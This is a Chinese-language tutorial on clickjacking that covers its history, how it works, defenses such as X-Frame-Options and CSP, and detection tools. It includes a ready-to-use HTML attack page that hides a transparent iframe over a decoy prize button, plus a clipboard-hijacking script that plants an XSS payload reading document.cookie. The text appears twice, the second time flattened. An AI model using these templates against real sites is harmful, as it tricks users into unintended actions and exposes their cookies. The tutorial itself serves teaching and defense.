点击劫持漏洞的学习及利用之自己制作页面过程
字数 1373 2025-08-09 17:09:26

点击劫持漏洞(ClickJacking)全面解析与防御指南

一、点击劫持漏洞概述

点击劫持(ClickJacking)是一种视觉欺骗攻击手段,属于界面操作劫持攻击的一种。攻击者通过在网页的可见输入控件上覆盖一个不可见的框架,诱使用户误操作,从而执行恶意代码。

1.1 历史背景

  • 2008年:由安全专家罗伯特·汉森和耶利米·格劳斯曼首次提出
  • 2010年:Paul Stone提出拖放劫持(DragJacking)技术
  • 2010年:斯坦福公布触屏劫持(TouchJacking)攻击

1.2 相关概念

  • Formjacking:将恶意JavaScript代码嵌入合法网站获取敏感信息
  • 界面劫持:基于视觉欺骗的Web会话劫持攻击

二、技术原理与实现

2.1 核心机制

攻击利用HTML <iframe>标签的透明属性,通过以下组合实现:

  • 透明层:使用CSS opacity属性(0-1值范围)
  • iframe嵌套:嵌入目标页面并精确定位

2.2 关键技术

  1. 目标网页隐藏技术

    • CSS隐藏技术:设置opacity ≤ 0.1
    • 双iframe隐藏技术:外联框架筛选显示特定按钮
  2. 点击操作劫持

    • 社会工程学设计诱骗按钮
    • JavaScript鼠标跟随技术
    • 按键劫持(Stroke Jacking)
  3. 拖拽技术

    • 利用浏览器drag-and-drop API跨域操作
    • 突破同源策略限制

三、漏洞利用实例

3.1 基本攻击构造

<html>
<head>
<title>点击劫持示例</title>
<style>
iframe {
  width: 1920px;
  height: 1200px;
  position: absolute;
  top: 0px;
  left: 0px;
  z-index: 2;
  opacity: 0;
  filter: alpha(Opacity=0);
  -moz-opacity: 0;
  -webkit-opacity: 0;
  -khtml-opacity: 0;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
}
button {
  position: absolute;
  top: 345px;
  left: 933px;
  z-index: 1;
  width: 52.5166px;
  height: 20.8px;
}
</style>
</head>
<body>
<button style='font-size:7px'>点击抽奖</button>

<iframe src="http://目标网站.com" scrolling="no"></iframe>
</body>
</html>

3.2 关键参数调整

  1. iframe尺寸:匹配目标页面或诱饵图片
  2. z-index:控制元素堆叠顺序
  3. 按钮定位
    • 使用document.documentElement.scrollTop获取垂直位置
    • 使用截图工具测量水平位置
  4. 按钮样式:精确匹配目标按钮尺寸

四、与其他漏洞的组合利用

4.1 结合CSRF漏洞

  • 绕过token验证:通过GET方法自动添加token
  • 提高攻击成功率:在可信服务器托管攻击页面

4.2 结合XSS漏洞

  • 将反射型XSS转化为存储型XSS
  • 示例攻击链:
    <script>
    document.addEventListener('copy', function(e) {
      e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(document.cookie)\x3c/script\x3e');
      e.preventDefault();
    });
    </script>
    

五、防御方案

5.1 服务器端防御

  1. 设置HTTP头

    X-Frame-Options: DENY
    X-Frame-Options: SAMEORIGIN
    X-Frame-Options: ALLOW-FROM https://example.com/
    
  2. Frame Busting代码

    if (top != self) {
      top.location = self.location;
    }
    
  3. 内容安全策略(CSP)

    Content-Security-Policy: frame-ancestors 'none'
    

5.2 客户端防御

  1. 保持浏览器最新版本
  2. 使用安全插件(如NoScript)
  3. 禁用JavaScript(影响正常功能)

六、进阶技术变种

6.1 拖放劫持(DragJacking)

  • 利用浏览器拖放API
  • 突破同源策略获取敏感数据
  • 典型攻击:Cookie Jacking

6.2 触屏劫持(TouchJacking)

  • 针对移动设备优化
  • 利用隐藏地址栏特性增强欺骗性

七、检测与验证

  1. 手动检测

    • 检查HTTP响应头中的X-Frame-Options
    • 尝试iframe嵌套目标页面
  2. 自动化工具

    • OWASP ZAP
    • Burp Suite
    • Clickjacking测试工具

八、最佳实践建议

  1. 开发阶段

    • 默认设置X-Frame-Options头
    • 实施CSP策略
    • 关键操作添加二次验证
  2. 运维阶段

    • 定期安全扫描
    • 监控异常点击行为
    • 及时更新防护策略
  3. 用户教育

    • 识别可疑页面
    • 避免随意点击不明链接
    • 使用安全浏览器配置

通过全面理解点击劫持漏洞的原理、实现方式和防御措施,开发者和安全人员可以更有效地保护Web应用免受此类攻击。

点击劫持漏洞(ClickJacking)全面解析与防御指南 一、点击劫持漏洞概述 点击劫持(ClickJacking)是一种视觉欺骗攻击手段,属于界面操作劫持攻击的一种。攻击者通过在网页的可见输入控件上覆盖一个不可见的框架,诱使用户误操作,从而执行恶意代码。 1.1 历史背景 2008年 :由安全专家罗伯特·汉森和耶利米·格劳斯曼首次提出 2010年 :Paul Stone提出拖放劫持(DragJacking)技术 2010年 :斯坦福公布触屏劫持(TouchJacking)攻击 1.2 相关概念 Formjacking :将恶意JavaScript代码嵌入合法网站获取敏感信息 界面劫持 :基于视觉欺骗的Web会话劫持攻击 二、技术原理与实现 2.1 核心机制 攻击利用HTML <iframe> 标签的透明属性,通过以下组合实现: 透明层 :使用CSS opacity属性(0-1值范围) iframe嵌套 :嵌入目标页面并精确定位 2.2 关键技术 目标网页隐藏技术 CSS隐藏技术:设置opacity ≤ 0.1 双iframe隐藏技术:外联框架筛选显示特定按钮 点击操作劫持 社会工程学设计诱骗按钮 JavaScript鼠标跟随技术 按键劫持(Stroke Jacking) 拖拽技术 利用浏览器drag-and-drop API跨域操作 突破同源策略限制 三、漏洞利用实例 3.1 基本攻击构造 3.2 关键参数调整 iframe尺寸 :匹配目标页面或诱饵图片 z-index :控制元素堆叠顺序 按钮定位 : 使用 document.documentElement.scrollTop 获取垂直位置 使用截图工具测量水平位置 按钮样式 :精确匹配目标按钮尺寸 四、与其他漏洞的组合利用 4.1 结合CSRF漏洞 绕过token验证:通过GET方法自动添加token 提高攻击成功率:在可信服务器托管攻击页面 4.2 结合XSS漏洞 将反射型XSS转化为存储型XSS 示例攻击链: 五、防御方案 5.1 服务器端防御 设置HTTP头 : Frame Busting代码 : 内容安全策略(CSP) : 5.2 客户端防御 保持浏览器最新版本 使用安全插件(如NoScript) 禁用JavaScript(影响正常功能) 六、进阶技术变种 6.1 拖放劫持(DragJacking) 利用浏览器拖放API 突破同源策略获取敏感数据 典型攻击:Cookie Jacking 6.2 触屏劫持(TouchJacking) 针对移动设备优化 利用隐藏地址栏特性增强欺骗性 七、检测与验证 手动检测 : 检查HTTP响应头中的X-Frame-Options 尝试iframe嵌套目标页面 自动化工具 : OWASP ZAP Burp Suite Clickjacking测试工具 八、最佳实践建议 开发阶段 : 默认设置X-Frame-Options头 实施CSP策略 关键操作添加二次验证 运维阶段 : 定期安全扫描 监控异常点击行为 及时更新防护策略 用户教育 : 识别可疑页面 避免随意点击不明链接 使用安全浏览器配置 通过全面理解点击劫持漏洞的原理、实现方式和防御措施,开发者和安全人员可以更有效地保护Web应用免受此类攻击。